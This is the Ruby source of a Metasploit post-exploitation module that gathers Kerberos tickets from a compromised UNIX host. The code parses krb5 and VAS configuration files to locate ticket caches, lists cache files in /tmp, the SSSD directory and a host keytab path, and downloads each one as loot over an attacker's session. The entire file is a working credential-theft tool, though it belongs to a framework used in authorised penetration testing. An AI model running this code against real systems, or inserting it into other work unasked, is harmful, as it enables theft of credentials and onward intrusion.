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# Copyright (c) 2015-2018, Cisco International Ltd
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#
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# Redistribution and use in source and binary forms, with or without
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# modification, are permitted provided that the following conditions are met:
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#     * Redistributions of source code must retain the above copyright
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#       notice, this list of conditions and the following disclaimer.
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#     * Redistributions in binary form must reproduce the above copyright
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#       notice, this list of conditions and the following disclaimer in the
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#       documentation and/or other materials provided with the distribution.
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#     * Neither the name of the Cisco International Ltd nor the
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#       names of its contributors may be used to endorse or promote products
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#       derived from this software without specific prior written permission.
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#
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# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
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# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
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# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
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# DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY
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# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
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# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
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# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
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# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
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# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
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# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'shellwords'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  include Msf::Post::Common
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'UNIX Gather Kerberos Tickets',
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        'Description' => %q{ Post Module to obtain all kerberos tickets on the targeted UNIX machine. },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Tim Brown <timb[at]nth-dimension.org.uk>'],
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        'Platform' => %w[linux osx unix solaris aix],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('KRB_CONFIG_FILE', [true, 'The Kerberos config file.', '/etc/krb5.conf']),
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      OptString.new('VAS_CONFIG_FILE', [true, 'The VASD config file.', '/etc/opt/quest/vas/vas.conf']),
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    ])
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  end
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  def run
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    print_status('Finding files')
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    files = [ '/etc/opt/quest/vas/host.keytab' ]
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    configs = [datastore['KRB_CONFIG_FILE'], datastore['VAS_CONFIG_FILE']]
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    configs.each do |config_file|
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      if file? config_file
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        config = read_file(config_file)
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        if /\n\s*default_ccache_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config || /\n\s*default_cc_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config
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          if /^FILE:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
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            suffix = ''
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          elsif /^DIR:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
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            suffix = '/*'
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          elsif /^(?<storage>KEYRING|API|KCM|MEMORY|KSLSA):/ =~ cache_location
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            print_error("Kerberos ticket cache uses #{storage}. This module does not support this storage type.")
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          else
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            print_error("Unknown storage type: #{cache_location}")
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          end
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          if file_pattern
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            print_status("Kerberos tickets configured to be stored at #{file_pattern}")
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            placeholder = 'MSF_INSERT_HERE'
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            # The krb5 pattern uses %{uid} as a wildcard. This is misinterpreted by Rubocop as a format string token
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            # rubocop: disable Style/FormatStringToken
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            file_pattern['%{uid}'] = placeholder
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            # rubocop: enable Style/FormatStringToken
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            # Need to do this two-step thing so Shellwords.escape doesn't escape the asterisk
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            file_pattern = Shellwords.escape(file_pattern)
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            file_pattern[placeholder] = '*'
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            files += cmd_exec("ls #{file_pattern}#{suffix}").split(/\r\n|\r|\n/)
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          end
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        end
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      else
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        vprint_warning("Could not find #{config_file}")
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      end
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    end
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    files += cmd_exec('ls /var/lib/sss/db/ccache_*').split(/\r\n|\r|\n/)
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    # Even though our config check should preclude this, it is a default location, so checking it may find something
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    files += cmd_exec('ls /tmp/krb5*').split(/\r\n|\r|\n/)
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    files = files.uniq
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    files = files.select { |d| file?(d) }
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    if files.nil? || files.empty?
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      print_error('No kerberos tickets found')
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      return
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    end
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    download_loot(files)
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  end
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  def download_loot(files)
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    print_status("Looting #{files.count} files")
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    files.each do |file|
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      file.chomp!
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      sep = '/'
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      print_status("Downloading #{file}")
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      data = read_file(file)
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      file = file.split(sep).last
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      loot_file = store_loot('unix_kerberos_tickets', 'application/octet-stream', session, data, "unix_kerberos_tickets_#{file}", 'Kerberos Tickets File')
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      print_good("File stored in: #{loot_file}")
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    end
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  end
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end
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